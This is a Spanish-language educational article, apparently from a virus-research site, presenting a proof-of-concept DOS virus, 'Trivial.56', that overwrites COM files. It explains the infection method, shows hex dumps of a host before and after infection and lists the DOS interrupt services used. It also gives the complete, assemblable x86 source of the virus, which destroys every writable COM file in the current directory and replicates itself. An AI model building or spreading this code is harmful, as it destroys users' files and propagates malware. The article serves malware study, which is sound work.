Prueba de concepto de virus en la plataforma x86/DOS con estrategia de infección por overwriting (sobrescritura) en archivos COM. El virus infecta archivos en tiempo de ejecución.

Método de infección

El virus simplemente sobrescribe otros archivos COM con el código viral. Es la estrategia más primitiva, pero es muy agresiva y destructiva. Todas las generaciones del virus son idénticas.

Generalmente nada se preserva de los archivos huéspedes ya que son destruidos por la sobrescritura. La desinfección consiste en eliminar todos los archivos infectados.

Método de propagación

La infección se realiza en el momento de ejecución infectando todos los archivos COM en el directorio actual a excepción de aquellos con atributo READ-ONLY, HIDDEN o SYSTEM.

Flujo de ejecución

Análisis estático

Hex dump de un archivo sano de tamaño 80 bytes:

Offset  00 01 02 03 04 05 06 07  ANSI
0x0000  B4 09 BA 39 01 CD 21 90  ´.º9.Í!.
0x0008  90 90 90 90 90 90 90 90  ........
0x0010  90 90 90 90 90 90 90 90  ........
0x0018  90 90 90 90 90 90 90 90  ........
0x0020  90 90 90 90 90 90 90 90  ........
0x0028  90 90 90 90 90 90 90 90  ........
0x0030  90 90 90 90 90 B4 00 CD  .....´.Í
0x0038  21 54 68 69 73 20 69 73  !This is
0x0040  20 61 20 68 6F 73 74 20   a host 
0x0048  66 69 6C 65 21 0D 0A 24  file!..$

Hex dump del archivo infectado:

Offset  00 01 02 03 04 05 06 07  ANSI
0x0000  B4 4E 33 C9 BA 32 01 CD  ´N3ɺ2.Í
0x0008  21 73 08 EB 21 B4 4F CD  !s.ë!´OÍ
0x0010  21 72 1B B4 3D B0 02 BA  !r.´=°.º
0x0018  9E 00 CD 21 8B D8 B4 40  ž.Í!‹Ø´@
0x0020  B9 38 00 BA 00 01 CD 21  ¹8.º..Í!
0x0028  B4 3E CD 21 EB DF B4 00  ´>Í!ëß´.
0x0030  CD 21 2A 2E 63 6F 6D 00  Í!*.com.
0x0038  21 54 68 69 73 20 69 73  !This is
0x0040  20 61 20 68 6F 73 74 20   a host 
0x0048  66 69 6C 65 21 0D 0A 24  file!..$

El virus sobrescribe desde el offset 0x0000 hasta 0x0037 (56 bytes). Lo único que se conserva del huésped es el código luego del offset 0x0037. Si el huésped fuera menor a 56 bytes no quedaría nada de el.

API utilizada

Se utilizan 6 servicios de la DOS API mediante la interrupción de software 21h.

Servicio AH Parámetros Retorno Versión DOS
Terminar programa 00h - - 1+
Abrir archivo existente 3Dh AL = modos de acceso e intercambio
DS:DX -> nombre del archivo (ASCIZ)
Éxito: CF = 0, AX = handle del archivo
Error: CF = 1, AX = código de error
2+
Cerrar archivo 3Eh BX = handle del archivo Éxito: CF = 0, AX destruido
Error: CF = 1, AX = código de error
2+
Escribir en archivo
o dispositivo
40h BX = handle del archivo
CX = nro. de bytes
DS:DX -> datos a escribir
Éxito: CF = 0, AX = nro. de bytes escritos
Error: CF = 1, AX = código de error
2+
Buscar el primer archivo
coincidente
4Eh CX = máscara de atributos de archivo
DS:DX -> nombre del archivo (ASCIZ)
Éxito: CF = 0, resultado en DTA
Error: CF = 1, AX = código de error
2+
Buscar el siguiente archivo
coincidente
4Fh - Exito: CF = 0, resultado en DTA
Error: CF = 1, AX = código de error
2+

Código fuente

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
;##############################################################################
;# Nombre:        virus://DOS/Trivial.56
;# Plataforma:    Intel x86
;# SO:            DOS v2.0+, Win32 (mediante NTVDM)
;# Lenguaje:      ASM x86-16 (sintaxis Intel)
;# Herramientas:  TASM v4.1, TLINK v7.1.30
;# Tipo:          Overwriting, Non-Resident, COM infector
;# Tamaño:        56 bytes
;# Propagación:   Acción directa sobre el directorio actual. 
;# Infección:     Sobrescritura de archivos COM (no READ-ONLY/HIDDEN/SYSTEM).
;# Residente:     No
;# Stealth:       No
;# Payload:       No
;##############################################################################

.8086  
.model tiny

assume cs:virus, ds:virus

virus segment byte public 'CODE'

    org     100h

start:    
    mov     ah, 4Eh               ; | AH = 4Eh 
    xor     cx, cx                ; | CX = 0, archivos normales
    lea     dx, search_str        ; | DS:DX -> "*.COM"
    int     21h                   ; |_DOS API - Buscar primer archivo

    jnc     infect_file           ; archivo encontrado
    jmp     exit                  ; no hay archivo

find_next:    
    mov     ah, 4Fh               ; | AH = 4Fh  
    int     21h                   ; |_DOS API - Buscar siguiente archivo 

    jc      exit                  ; no hay archivo

infect_file:    
    mov     ah, 3Dh               ; | AH = 3Dh 
    mov     al, 2                 ; | AL = 2, lectura y escritura
    mov     dx, 9Eh               ; | DS:DX -> DTA + 1Eh = 9Eh (FileName)
    int     21h                   ; |_DOS API - Abrir archivo existente

    mov     bx, ax                ; | BX = handle del archivo 
    mov     ah, 40h               ; | AH = 40h
    mov     cx, virus_size        ; | CX = tamaño del virus
    lea     dx, start             ; | DS:DX -> inicio del código viral
    int     21h                   ; |_DOS API - Escribir en archivo/dispositivo

    mov     ah, 3Eh               ; | AH = 3Eh 
    int     21h                   ; |_DOS API - Cerrar archivo

    jmp     find_next             ; buscar siguiente

exit:    
    mov     ah, 00h               ; | AH = 00h
    int     21h                   ; |_DOS API - Retornar a DOS

search_str    db   "*.com", 00h   ; nombre comodín de búsqueda
virus_size    equ  ($ - start)    ; tamaño del virus

virus ends
end start

Casos reales

  • La familia de virus Trivial en sistemas DOS se caracteriza por tener los ejemplares de virus más pequeños. Por ejemplo, DOS/Trivial.22 es un virus de solo 22 bytes.
  • El gusano VBS/LoveLetter.A@mm tiene como principal vector de propagación el envió masivo de e-mails. Al ejecutarse sobre escribe archivos de extensión .vbs, .vbe, .js, .css, .jpg, .txt, .html, .avi, .mp3, y muchos más. Fue notablemente exitoso en el 2000.

Bibliografía

  1. Szor, P. (2005). The Art of Computer Virus Research and Defense (2nd ed.). Addison-Wesley Professional.
  2. Williams, D. (1992). Programmer’s Technical Reference for MSDOS and the IBM PC.
  3. Phalcon-Skism. 40-Hex.